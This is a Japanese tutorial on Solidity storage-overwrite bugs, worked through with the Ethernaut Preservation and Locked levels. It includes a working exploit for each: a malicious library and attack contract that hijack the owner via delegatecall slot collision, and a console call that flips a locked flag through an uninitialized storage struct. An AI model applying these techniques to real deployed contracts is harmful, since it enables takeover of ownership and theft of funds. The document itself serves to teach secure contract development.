はじめに
Solidityでは意図せずstorage領域を書き換えられてしまう可能性があります。
アクセス修飾子は関係ありません。privateな変数であっても脆弱性のあるコードを書くと簡単に書き換えられてしまいます。
今回はstorage領域が意図せず書き換えられてしまう2つのコードを見ていきます。
1. delegatecallを使用した例
delegatecallとcallcode、callの違いについては以下の記事に図付きでわかりやすく書かれています。
記事中にも書かれている通り、delegatecall実行元のコントラクトをA、呼び出し先のコントラクトをBとしたとき、Bが指すStorage領域はAのものになるんです。
サラッと書いてますが、この使用が場合によっては致命的な脆弱性になりえます。
具体的にコードを見ていきます。コードはEthernautのPreservationから転載しました。
pragma solidity ^0.4.23; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
結論から言えば、このコントラクトのaddress public owner;
を書き換えることができてしまいます。
手順を解説していきます。
まず前提として、このコントラクトをデプロイするときにはLibraryContractのアドレスがtimeZone1LibraryAddressとtimeZone2LibraryAddressに渡され、セットされるものとします。
LibraryContractを見ると、uint storedTime;
というstorage変数が宣言されており、setTime(uint)
でstoredTimeに値をセットするようなコードになっています。
この関数をdelegatecallで呼び出すと、storage領域は呼び出し元のコントラクトの領域が参照されます。
つまり、storedTimeの領域はstorageの「スロット0」に該当しますので、delegatecall経由で呼び出すと、呼び出し元の「スロット0」の領域が書き換わります。
呼び出し元のstorage領域のスロット0に該当するのはaddress public timeZone1Library;
ですね。
こいつが書き換わってしまいます。つまり、timeZone1Libraryを好きな値に書き換えられます
そこで、timeZone1Libraryを悪意のあるコントラクトのアドレスに差し替えてみます。
具体的には以下のような、「owner変数=スロット2の領域を自分のアドレスに書き換える」ようなコントラクトにします。
pragma solidity ^0.4.24; contract MyLibraryContract { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; function setTime(uint _time) public { owner = tx.origin; } }
このコントラクトがdelegatecall経由で呼び出されると、呼び出し元storage領域のスロット2がtx.origin
に書き換わってしまいます。
これでowner権限を乗っ取ることができてしまいました。怖いですね。。
最後に、このコントラクトのowner権限を奪うまでの具体的な手順をまとめてみます。
(1)MyLibraryContract(上記のもの)をデプロイし、コントラクトアドレスを入手する
(2)以下のようなコントラクトをデプロイ氏、hack関数を実行する。 targetには攻撃先のコントラクト、libAddrには(1)でデプロイしたコントラクトのアドレスを入れる。
contract PreservationHack { function hack(address target, address libAddr) public { require(target.call(bytes4(keccak256("setSecondTime(uint256)")), uint256(libAddr))); } }
(3)timeZone1LibraryのアドレスがMyLibraryContractのものに書き換わったので、setFirstTime
を呼び出す(引数は使われないので何でも良い)
contract.setFirstTime(0)
これで、ownerが変わっている事を確認できます。
(await contract.owner()).valueOf() "0xe3545ebaa3a0381ebd9f0868ae61b5dc89962ef5" ↓ (await contract.owner()).valueOf() "0x31253350afc5b923f88ed45e89721a3f3c64d21f"
2. storage変数を使用した例
次に、storage変数を使用した例をみていきます。
実は、Mapping、Array、Structに関しては関数内でしか使用していない変数であっても、何もキーワードをつけなければ「storage」として初期化されます。
問題が、こいつがstorage領域を上書きするということなんですよね。。
具体例を見ていきます。 コードはEthernautのLockedからの転載です。
pragma solidity ^0.4.23; // A Locked Name Registrar contract Locked { bool public unlocked = false; // registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked } }
storage変数としてbool public unlocked=false
が宣言されています。
他の関数内ではunlockedに値を代入するコードは一切ないので、一見すると値を書き換えることは不可能のように思います。
・・が、書き換えることができてしまいます。
脆弱性となっているはregisterで構造体を初期化していることです。
NameRecord newRecord;
はstorage変数として初期化されます
そして、nameに相当する部分はstorage領域のスロット0を上書きします
実際に試してみます。
contract.register((new String("0x0000000000000000000000000000000000000000000000000000000000000001")).valueOf(), "0x31253350afc5b923f88ed45e89721a3f3c64d21f")
register関数の引数に0x01を入れているだけです。(第二引数は何でも良いです)
これで、storage変数が書き換わってしまいます。
await contract.unlocked() true
・・・気づかずやってしまいそうですね。
因みに、false=0x0なのでスロット0が0アドレスで初期化されてるせいで起こるバグなんじゃないか?と思われるかもしれませんが、そうではありません。
以下のようなuint256型で初期値として既に数値が入っているようなコントラクトコードでも勿論再現します。
pragma solidity ^0.4.23; contract ReWriteStorage { uint256 public firstNumber = 1000; uint256 public secondNumber = 2000; struct NameRecord { bytes32 name; address mappedAddress; } function register(bytes32 _name, address _mappedAddress) public { NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; } }
register呼び出し前の状態。firstNumberとsecondNumber共に初期値が入っていることが確認できます。
呼び出し後の状態。fisrstNumberが0x01を入れたので1に変更され、scondNumberがアドレスをuint256にキャストした長い数値が入っている事がわかります。
まとめ
Solidityは初見殺しの罠が多すぎる。